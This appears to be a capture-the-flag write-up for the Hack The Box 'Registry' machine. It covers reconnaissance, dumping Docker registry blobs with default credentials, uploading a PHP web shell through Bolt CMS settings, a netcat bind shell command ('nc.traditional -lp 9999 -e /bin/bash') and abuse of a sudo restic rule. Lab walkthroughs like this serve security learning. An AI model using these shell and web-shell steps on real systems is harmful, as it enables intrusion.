Registry is a hard difficulty box that deals with Docker.
Recon
we start off by scanning Forest's IP 10.10.10.159 with nmap
nmap -T4 -A -v 10.10.10.159
From Our Results we get the following services and ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title.
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=docker.registry.htb
| Issuer: commonName=Registry
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-05-06T21:14:35
| Not valid after: 2029-05-03T21:14:35
| MD5: 0d6f 504f 1cb5 de50 2f4e 5f67 9db6 a3a9
|_SHA-1: 7da0 1245 1d62 d69b a87e 8667 083c 39a6 9eb2 b2b5
From the results we see that sshhttp & https are active, but what's interesting here is the ssl-cert: commonName which reveals its docker.registry.htb we can add this to our hosts file
nano /etc/hosts
10.10.10.159 docker.registry.htb
Next let's run nikto and see if we can find anything interesting on both the IP and the docker.registry.htb
nikto -host docker.registry.htb
nikto -host 10.10.10.159
our docker.registry.htb nikto scan gives us
Default account found for 'Registry' at /v2/_catalog (ID 'admin', PW 'admin')
interesting it found some credentials under /v2/_catalog
visiting docker.registry.htb/v2/_catalog prompts us for credentials which we have. it then takes us to a page that reveals that is running bolt-cms
The nikto scan on 10.10.10.159 gives us nothing relevant but upon running a dirbuster scan on it we find that it's running bolt-cms
Now that we have confirmed that the target is running docker and we can authenticate into it, we can now go forward and dig into docker registry API https://docs.docker.com/registry/spec/api/
and go on to download them, personally i used wget --no-check-certificate --http-user=admin --http-password=admin -i BlobList
Well we got a system dump so to speak within which we find a ssh id_pub for the user bolt and within another blob we find a script to send the ssh password GkOcz221Ftb3ugog
navigating back to the id_rsa we can not ssh into the machine with ssh -i id_rsa bolt@10.10.10.159 once in we can get our first flag!
Post Exploitation
Once in we can use linpeas to find anything interesting and sure enough it finds the following
it seems that whenever this file is triggered it uses sudo to backup the bolt website via restic however we as bolt do not have the privileges to edit or run the above file, so who might? well www-data can since it is the web service that triggers the backup. So how do we get www-data remember the admin credentials from before? we can login and see if there's a path to executing a shell from there. so off we go to http://10.10.10.159/bolt/bolt/ and behold admin credentials
using username:adminpassword:strawberry gets us access to the cms portal. There seem to be quite a few places we can load a web shell from so let's look around.
Well it seems that xss is a no go, so how else can we get a shell?. There is a dedicated area to uploading files, however php seems to be restricted, this can easily be amended by going to the Main Configuration and searching for accept_file_types once here we can add php as a accepted file type and upload our shell to http://10.10.10.159/bolt/bolt/files/themes/skeleton
Nice, however trying a reverse shell doesn't really work so lets take another approach and set a bind shell with nc.traditional -lp 9999 -e /bin/bash and connect to it.
running sudo -l again gives us
User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*
that we can not only execute the backup.php but also execute the restic backup -r rest* we cannot setup a restic server on the target but we can locally
https://github.com/restic/rest-server gives us all the instructions we need to get setup locally. Once we have it installed we can upload restic-server to the target via scp.
